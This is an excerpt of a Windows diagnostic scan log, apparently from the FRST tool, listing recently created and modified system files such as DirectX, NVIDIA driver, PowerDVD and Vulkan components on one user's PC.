      2017-11-02 22:22 - 2008-07-10 11:01 - 000467984 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_39.dll
      2017-11-02 22:22 - 2008-07-10 11:00 - 004992520 _____ (Microsoft Corporation) C:\Windows\system32\D3DX9_39.dll
      2017-11-02 22:22 - 2008-07-10 11:00 - 003851784 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DX9_39.dll
      2017-11-02 22:22 - 2008-07-10 11:00 - 001942552 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_39.dll
      2017-11-02 22:22 - 2008-07-10 11:00 - 001493528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_39.dll
      2017-11-02 22:22 - 2008-07-10 11:00 - 000540688 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_39.dll
      2017-11-02 22:22 - 2008-05-30 14:19 - 000511496 _____ (Microsoft Corporation) C:\Windows\system32\XAudio2_1.dll
      2017-11-02 22:22 - 2008-05-30 14:19 - 000507400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAudio2_1.dll
      2017-11-02 22:22 - 2008-05-30 14:18 - 000238088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine3_1.dll
      2017-11-02 22:22 - 2008-05-30 14:18 - 000177672 _____ (Microsoft Corporation) C:\Windows\system32\xactengine3_1.dll
      2017-11-02 22:22 - 2008-05-30 14:17 - 000068104 _____ (Microsoft Corporation) C:\Windows\system32\XAPOFX1_0.dll
      2017-11-02 22:22 - 2008-05-30 14:17 - 000065032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAPOFX1_0.dll
      2017-11-02 22:22 - 2008-05-30 14:17 - 000025608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\X3DAudio1_4.dll
      2017-11-02 22:22 - 2008-05-30 14:16 - 000028168 _____ (Microsoft Corporation) C:\Windows\system32\X3DAudio1_4.dll
      2017-11-02 22:22 - 2008-05-30 14:11 - 004991496 _____ (Microsoft Corporation) C:\Windows\system32\D3DX9_38.dll
      2017-11-02 22:22 - 2008-05-30 14:11 - 003850760 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DX9_38.dll
      2017-11-02 22:22 - 2008-05-30 14:11 - 001941528 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_38.dll
      2017-11-02 22:22 - 2008-05-30 14:11 - 001491992 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_38.dll
      2017-11-02 22:22 - 2008-05-30 14:11 - 000540688 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_38.dll
      2017-11-02 22:22 - 2008-05-30 14:11 - 000467984 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_38.dll
      2017-11-02 22:22 - 2008-03-05 16:04 - 000489480 _____ (Microsoft Corporation) C:\Windows\system32\XAudio2_0.dll
      2017-11-02 22:22 - 2008-03-05 16:03 - 000479752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XAudio2_0.dll
      2017-11-02 22:22 - 2008-03-05 16:03 - 000238088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine3_0.dll
      2017-11-02 22:22 - 2008-03-05 16:03 - 000177672 _____ (Microsoft Corporation) C:\Windows\system32\xactengine3_0.dll
      2017-11-02 22:22 - 2008-03-05 16:00 - 000028168 _____ (Microsoft Corporation) C:\Windows\system32\X3DAudio1_3.dll
      2017-11-02 22:22 - 2008-03-05 16:00 - 000025608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\X3DAudio1_3.dll
      2017-11-02 22:22 - 2008-03-05 15:56 - 004910088 _____ (Microsoft Corporation) C:\Windows\system32\D3DX9_37.dll
      2017-11-02 22:22 - 2008-03-05 15:56 - 003786760 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DX9_37.dll
      2017-11-02 22:22 - 2008-03-05 15:56 - 001860120 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_37.dll
      2017-11-02 22:22 - 2008-03-05 15:56 - 001420824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_37.dll
      2017-11-02 22:22 - 2008-02-05 23:07 - 000529424 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_37.dll
      2017-11-02 22:22 - 2008-02-05 23:07 - 000462864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_37.dll
      2017-11-02 22:22 - 2007-10-22 03:40 - 000411656 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_10.dll
      2017-11-02 22:22 - 2007-10-22 03:39 - 000267272 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_10.dll
      2017-11-02 22:22 - 2007-10-22 03:37 - 000021000 _____ (Microsoft Corporation) C:\Windows\system32\X3DAudio1_2.dll
      2017-11-02 22:22 - 2007-10-22 03:37 - 000017928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\X3DAudio1_2.dll
      2017-11-02 22:22 - 2007-10-12 15:14 - 005081608 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_36.dll
      2017-11-02 22:22 - 2007-10-12 15:14 - 003734536 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_36.dll
      2017-11-02 22:22 - 2007-10-12 15:14 - 002006552 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_36.dll
      2017-11-02 22:22 - 2007-10-12 15:14 - 001374232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_36.dll
      2017-11-02 22:22 - 2007-10-02 09:56 - 000508264 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_36.dll
      2017-11-02 22:22 - 2007-10-02 09:56 - 000444776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_36.dll
      2017-11-02 22:22 - 2007-07-20 00:57 - 000411496 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_9.dll
      2017-11-02 22:22 - 2007-07-20 00:57 - 000267112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_9.dll
      2017-11-02 22:22 - 2007-07-19 18:14 - 005073256 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_35.dll
      2017-11-02 22:22 - 2007-07-19 18:14 - 003727720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_35.dll
      2017-11-02 22:22 - 2007-07-19 18:14 - 001985904 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_35.dll
      2017-11-02 22:22 - 2007-07-19 18:14 - 001358192 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_35.dll
      2017-11-02 22:22 - 2007-07-19 18:14 - 000508264 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_35.dll
      2017-11-02 22:22 - 2007-07-19 18:14 - 000444776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_35.dll
      2017-11-02 22:22 - 2007-06-20 20:49 - 000409960 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_8.dll
      2017-11-02 22:22 - 2007-06-20 20:46 - 000266088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_8.dll
      2017-11-02 22:22 - 2007-05-16 16:45 - 004496232 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_34.dll
      2017-11-02 22:22 - 2007-05-16 16:45 - 003497832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_34.dll
      2017-11-02 22:22 - 2007-05-16 16:45 - 001401200 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_34.dll
      2017-11-02 22:22 - 2007-05-16 16:45 - 001124720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_34.dll
      2017-11-02 22:22 - 2007-05-16 16:45 - 000506728 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_34.dll
      2017-11-02 22:22 - 2007-05-16 16:45 - 000443752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_34.dll
      2017-11-02 22:22 - 2007-04-04 18:55 - 000403304 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_7.dll
      2017-11-02 22:22 - 2007-04-04 18:55 - 000261480 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_7.dll
      2017-11-02 22:22 - 2007-04-04 18:53 - 000081768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xinput1_3.dll
      2017-11-02 22:22 - 2007-03-15 16:57 - 000506728 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_33.dll
      2017-11-02 22:22 - 2007-03-15 16:57 - 000443752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_33.dll
      2017-11-02 22:22 - 2007-03-12 16:42 - 004494184 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_33.dll
      2017-11-02 22:22 - 2007-03-12 16:42 - 003495784 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_33.dll
      2017-11-02 22:22 - 2007-03-12 16:42 - 001400176 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_33.dll
      2017-11-02 22:22 - 2007-03-12 16:42 - 001123696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_33.dll
      2017-11-02 22:22 - 2007-03-05 12:42 - 000017688 _____ (Microsoft Corporation) C:\Windows\system32\x3daudio1_1.dll
      2017-11-02 22:22 - 2007-03-05 12:42 - 000015128 _____ (Microsoft Corporation) C:\Windows\SysWOW64\x3daudio1_1.dll
      2017-11-02 22:22 - 2007-01-24 15:27 - 000393576 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_6.dll
      2017-11-02 22:22 - 2007-01-24 15:27 - 000255848 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_6.dll
      2017-11-02 22:22 - 2006-12-08 12:02 - 000251672 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_5.dll
      2017-11-02 22:22 - 2006-12-08 12:00 - 000390424 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_5.dll
      2017-11-02 22:22 - 2006-11-29 13:06 - 004398360 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_32.dll
      2017-11-02 22:22 - 2006-11-29 13:06 - 003426072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_32.dll
      2017-11-02 22:22 - 2006-11-29 13:06 - 000469264 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10.dll
      2017-11-02 22:22 - 2006-11-29 13:06 - 000440080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10.dll
      2017-11-02 22:22 - 2006-09-28 16:05 - 003977496 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_31.dll
      2017-11-02 22:22 - 2006-09-28 16:05 - 002414360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_31.dll
      2017-11-02 22:22 - 2006-09-28 16:05 - 000237848 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_4.dll
      2017-11-02 22:22 - 2006-09-28 16:04 - 000364824 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_4.dll
      2017-11-02 22:22 - 2006-07-28 09:31 - 000083736 _____ (Microsoft Corporation) C:\Windows\system32\xinput1_2.dll
      2017-11-02 22:22 - 2006-07-28 09:30 - 000363288 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_3.dll
      2017-11-02 22:22 - 2006-07-28 09:30 - 000236824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_3.dll
      2017-11-02 22:22 - 2006-07-28 09:30 - 000062744 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xinput1_2.dll
      2017-11-02 22:22 - 2006-05-31 07:24 - 000230168 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_2.dll
      2017-11-02 22:22 - 2006-05-31 07:22 - 000354072 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_2.dll
      2017-11-02 22:22 - 2006-03-31 12:41 - 003927248 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_30.dll
      2017-11-02 22:22 - 2006-03-31 12:40 - 002388176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_30.dll
      2017-11-02 22:22 - 2006-03-31 12:40 - 000352464 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_1.dll
      2017-11-02 22:22 - 2006-03-31 12:39 - 000229584 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_1.dll
      2017-11-02 22:22 - 2006-03-31 12:39 - 000083664 _____ (Microsoft Corporation) C:\Windows\system32\xinput1_1.dll
      2017-11-02 22:22 - 2006-03-31 12:39 - 000062672 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xinput1_1.dll
      2017-11-02 22:22 - 2006-02-03 08:43 - 003830992 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_29.dll
      2017-11-02 22:22 - 2006-02-03 08:43 - 002332368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_29.dll
      2017-11-02 22:22 - 2006-02-03 08:42 - 000355536 _____ (Microsoft Corporation) C:\Windows\system32\xactengine2_0.dll
      2017-11-02 22:22 - 2006-02-03 08:42 - 000230096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\xactengine2_0.dll
      2017-11-02 22:22 - 2006-02-03 08:41 - 000016592 _____ (Microsoft Corporation) C:\Windows\system32\x3daudio1_0.dll
      2017-11-02 22:22 - 2006-02-03 08:41 - 000014032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\x3daudio1_0.dll
      2017-11-02 22:22 - 2005-12-05 18:09 - 003815120 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_28.dll
      2017-11-02 22:22 - 2005-12-05 18:09 - 002323664 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_28.dll
      2017-11-02 22:22 - 2005-07-22 19:59 - 003807440 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_27.dll
      2017-11-02 22:22 - 2005-07-22 19:59 - 002319568 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_27.dll
      2017-11-02 22:22 - 2005-05-26 15:34 - 003767504 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_26.dll
      2017-11-02 22:22 - 2005-05-26 15:34 - 002297552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_26.dll
      2017-11-02 22:22 - 2005-03-18 17:19 - 003823312 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_25.dll
      2017-11-02 22:22 - 2005-03-18 17:19 - 002337488 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_25.dll
      2017-11-02 22:22 - 2005-02-05 19:45 - 003544272 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_24.dll
      2017-11-02 22:22 - 2005-02-05 19:45 - 002222800 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx9_24.dll
      2017-11-02 22:19 - 2017-11-02 22:22 - 000000000 ____D C:\Windows\SysWOW64\directx
      2017-11-01 17:44 - 2017-11-01 17:44 - 000000000 ____D C:\ProgramData\PDVD
      2017-11-01 17:43 - 2017-11-01 17:43 - 000002431 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CyberLink PowerDVD 17.lnk
      2017-11-01 17:43 - 2017-11-01 17:43 - 000002419 _____ C:\Users\Public\Desktop\CyberLink PowerDVD 17.lnk
      2017-11-01 17:43 - 2017-11-01 17:43 - 000000000 ____D C:\Program Files (x86)\NSIS Uninstall Information
      2017-11-01 17:41 - 2017-11-01 17:41 - 000000000 ____D C:\ProgramData\install_backup
      2017-11-01 17:41 - 2017-11-01 17:41 - 000000000 ____D C:\Program Files (x86)\CyberLink
      2017-11-01 11:31 - 2017-09-14 01:20 - 000798008 _____ C:\Windows\SysWOW64\vulkan-1.dll
      2017-11-01 11:31 - 2017-09-14 01:20 - 000490296 _____ C:\Windows\SysWOW64\vulkaninfo.exe
      2017-11-01 11:31 - 2017-09-14 01:19 - 000927544 _____ C:\Windows\system32\vulkan-1.dll
      2017-11-01 11:31 - 2017-09-14 01:19 - 000591160 _____ C:\Windows\system32\vulkaninfo.exe
      2017-10-31 21:52 - 2017-11-01 11:31 - 000000000 ____D C:\Program Files (x86)\VulkanRT
      2017-10-31 21:52 - 2017-10-31 21:52 - 000000000 ____D C:\Windows\SysWOW64\NV
      2017-10-31 21:52 - 2017-10-31 21:52 - 000000000 ____D C:\Windows\system32\NV
      2017-10-31 21:52 - 2017-10-27 18:12 - 000123000 _____ (NVIDIA Corporation) C:\Windows\system32\nvshext.dll
      2017-10-31 21:52 - 2017-10-27 18:06 - 000136312 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvStreaming.exe
      2017-10-31 21:45 - 2017-10-27 18:12 - 000607168 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshext.dll
      2017-10-31 21:45 - 2017-10-27 18:12 - 000081856 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshextr.dll
      2017-10-31 21:40 - 2017-10-31 21:41 - 000000000 ____D C:\Windows\LastGood
      2017-10-31 21:26 - 2017-11-18 17:49 - 000004146 _____ C:\Windows\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
      2017-10-31 21:26 - 2017-11-18 17:49 - 000003814 _____ C:\Windows\System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
      2017-10-31 21:26 - 2017-11-18 17:49 - 000003798 _____ C:\Windows\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
      2017-10-31 21:26 - 2017-11-18 17:49 - 000003738 _____ C:\Windows\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
      2017-10-31 21:26 - 2017-11-18 17:49 - 000003738 _____ C:\Windows\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
      2017-10-31 21:26 - 2017-11-18 17:49 - 000003730 _____ C:\Windows\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
      2017-10-31 21:26 - 2017-11-18 17:49 - 000003554 _____ C:\Windows\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
      2017-10-31 21:26 - 2017-11-18 17:49 - 000003494 _____ C:\Windows\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
      2017-10-31 21:23 - 2017-10-26 04:31 - 001989240 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispco6438810.dll
      2017-10-31 21:23 - 2017-10-26 04:31 - 001673848 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispgenco6438810.dll
      2017-10-31 17:46 - 2017-10-31 17:47 - 000000000 ____D C:\Windows\LastGood.Tmp
      2017-10-31 17:44 - 2017-10-27 19:46 - 040237688 _____ (NVIDIA Corporation) C:\Windows\system32\nvcompiler.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 036194424 _____ (NVIDIA Corporation) C:\Windows\system32\nvoglv64.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 035156928 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcompiler.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 029236344 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvoglv32.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 023262464 _____ (NVIDIA Corporation) C:\Windows\system32\nvopencl.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 021744632 _____ (NVIDIA Corporation) C:\Windows\system32\nvwgf2umx.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 019037416 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvopencl.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 019012232 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvwgf2um.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 018207248 _____ (NVIDIA Corporation) C:\Windows\system32\nvd3dumx.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 016763000 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvlddmkm.sys
      2017-10-31 17:44 - 2017-10-27 19:46 - 015027984 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvd3dum.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 013864232 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuda.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 013254520 _____ (NVIDIA Corporation) C:\Windows\system32\nvptxJitCompiler.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 011779328 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuda.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 010882720 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvptxJitCompiler.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 004284496 _____ (NVIDIA Corporation) C:\Windows\system32\nvapi64.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 003807680 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuvid.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 003799032 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvapi.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 003346552 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuvid.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 001989056 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispco6438813.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 001673848 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispgenco6438813.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 001135464 _____ (NVIDIA Corporation) C:\Windows\system32\nvfatbinaryLoader.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 001099200 _____ (NVIDIA Corporation) C:\Windows\system32\NvFBC64.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 001030592 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvFBC.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000981112 _____ (NVIDIA Corporation) C:\Windows\system32\NvIFR64.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000932472 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvIFR.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000885680 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvfatbinaryLoader.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000615360 _____ (NVIDIA Corporation) C:\Windows\system32\NvIFROpenGL.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000527288 _____ (NVIDIA Corporation) C:\Windows\system32\nvEncodeAPI64.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000505976 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvIFROpenGL.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000492048 _____ (NVIDIA Corporation) C:\Windows\system32\nvumdshimx.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000446216 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvEncodeAPI.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000407064 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvumdshim.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000171896 _____ (NVIDIA Corporation) C:\Windows\system32\nvinitx.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000154392 _____ (NVIDIA Corporation) C:\Windows\system32\nvoglshim64.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000149552 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvinit.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000132256 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvoglshim32.dll
      2017-10-31 17:44 - 2017-10-27 19:46 - 000057976 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvhci.sys
      2017-10-31 17:44 - 2017-10-27 19:46 - 000050808 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvad64v.sys
      2017-10-31 17:44 - 2017-10-27 19:46 - 000046182 _____ C:\Windows\system32\nvinfo.pb
      2017-10-31 17:44 - 2017-10-27 19:46 - 000038336 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvpciflt.sys
      2017-10-31 17:44 - 2017-10-27 19:46 - 000000669 _____ C:\Windows\SysWOW64\nv-vk32.json
      2017-10-31 17:44 - 2017-10-27 19:46 - 000000669 _____ C:\Windows\system32\nv-vk64.json
      2017-10-31 17:42 - 2017-10-31 17:42 - 000000000 ____D C:\NVIDIA
      2017-10-28 19:23 - 2017-10-28 19:23 - 000000000 ____D C:\Users\Public\Documents\Steam
      2017-10-28 19:22 - 2016-08-10 09:38 - 000107368 _____ (Microsoft Corporation) C:\Windows\system32\xinput1_3.dll
      2017-10-28 17:50 - 2017-10-13 00:25 - 000835576 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
      2017-10-28 17:50 - 2017-10-13 00:25 - 000177656 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
      2017-10-28 17:50 - 2017-10-05 09:17 - 000380248 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\storport.sys
      2017-10-28 17:50 - 2017-09-15 01:52 - 000986968 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\http.sys
      2017-10-28 17:50 - 2017-09-08 19:14 - 003084288 _____ (Microsoft Corporation) C:\Windows\system32\msftedit.dll
      2017-10-28 17:50 - 2017-09-08 18:50 - 002471424 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msftedit.dll
      2017-10-28 17:50 - 2017-09-08 05:31 - 000685440 _____ (Microsoft Corporation) C:\Windows\system32\advapi32.dll
      2017-10-28 17:50 - 2017-09-08 05:28 - 000507176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\advapi32.dll
      2017-10-28 17:50 - 2017-09-07 23:31 - 000022528 _____ (Microsoft Corporation) C:\Windows\system32\mgmtapi.dll
      2017-10-28 17:50 - 2017-09-07 21:20 - 000018944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mgmtapi.dll
      2017-10-28 17:50 - 2017-09-07 19:20 - 000513456 _____ C:\Windows\SysWOW64\locale.nls
      2017-10-28 17:50 - 2017-09-07 19:20 - 000513456 _____ C:\Windows\system32\locale.nls
      2017-10-28 17:50 - 2017-09-07 15:40 - 000995272 _____ (Microsoft Corporation) C:\Windows\system32\ucrtbase.dll
      2017-10-28 17:50 - 2017-09-07 15:40 - 000922432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ucrtbase.dll
      2017-10-28 17:50 - 2017-09-07 01:07 - 000158552 ____C (Microsoft Corporation) C:\Windows\system32\Drivers\usbccgp.sys
      2017-10-28 17:50 - 2017-09-06 23:17 - 000461144 ____C (Microsoft Corporation) C:\Windows\system32\Drivers\usbhub.sys
      2017-10-28 17:50 - 2017-09-06 23:17 - 000443224 ____C (Microsoft Corporation) C:\Windows\system32\Drivers\usbport.sys
      2017-10-28 17:50 - 2017-09-06 16:14 - 000166400 _____ (Microsoft Corporation) C:\Windows\system32\regsvc.dll
      2017-10-28 17:50 - 2017-08-11 03:39 - 002779136 _____ (Microsoft Corporation) C:\Windows\system32\authui.dll
      2017-10-28 17:50 - 2017-08-11 03:30 - 002464256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\authui.dll
      ==================== One Month Modified files and folders ========
      (If an entry is included in the fixlist, the file/folder will be moved.)
      2017-11-18 18:06 - 2017-01-20 10:24 - 000000000 ____D C:\Users\симо7\AppData\Roaming\uTorrent
      2017-11-18 17:49 - 2017-10-04 16:24 - 000000000 ____D C:\Windows\System32\Tasks\AVAST Software
      2017-11-18 17:49 - 2016-08-08 15:35 - 000003430 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
      2017-11-18 17:49 - 2016-08-08 15:35 - 000003302 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
      2017-11-18 17:48 - 2016-08-09 20:20 - 000000000 ____D C:\Users\симо7\AppData\Roaming\.ACEStream
      2017-11-18 17:44 - 2017-08-16 21:00 - 000000000 ____D C:\_acestream_cache_
      2017-11-18 15:37 - 2016-08-08 15:46 - 000000000 ___RD C:\ТОРЕНТ
      2017-11-18 12:25 - 2016-08-08 15:44 - 000000000 ____D C:\ProgramData\NVIDIA
      2017-11-18 12:21 - 2016-08-08 15:31 - 000003598 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-976013588-1774182616-1790962854-1001
      2017-11-18 11:50 - 2016-11-17 21:04 - 000000000 ____D C:\Users\симо7\AppData\LocalLow\Mozilla
      2017-11-18 11:48 - 2013-08-22 17:36 - 000000000 ___HD C:\Program Files\WindowsApps
      2017-11-18 11:48 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\AppReadiness
      2017-11-17 17:11 - 2017-03-14 18:53 - 000647040 _____ C:\Windows\system32\perfh002.dat
      2017-11-17 17:11 - 2017-03-14 18:53 - 000122548 _____ C:\Windows\system32\perfc002.dat
      2017-11-17 17:11 - 2014-11-21 00:31 - 001521674 _____ C:\Windows\system32\PerfStringBackup.INI
      2017-11-17 17:11 - 2013-08-22 15:36 - 000000000 ____D C:\Windows\Inf
      2017-11-15 18:17 - 2016-08-08 15:26 - 000000000 ____D C:\Users\симо7\AppData\Local\Packages
      2017-11-15 16:40 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\LiveKernelReports
      2017-11-15 08:39 - 2017-04-09 16:58 - 000000000 ____D C:\Users\симо7\AppData\Roaming\vlc
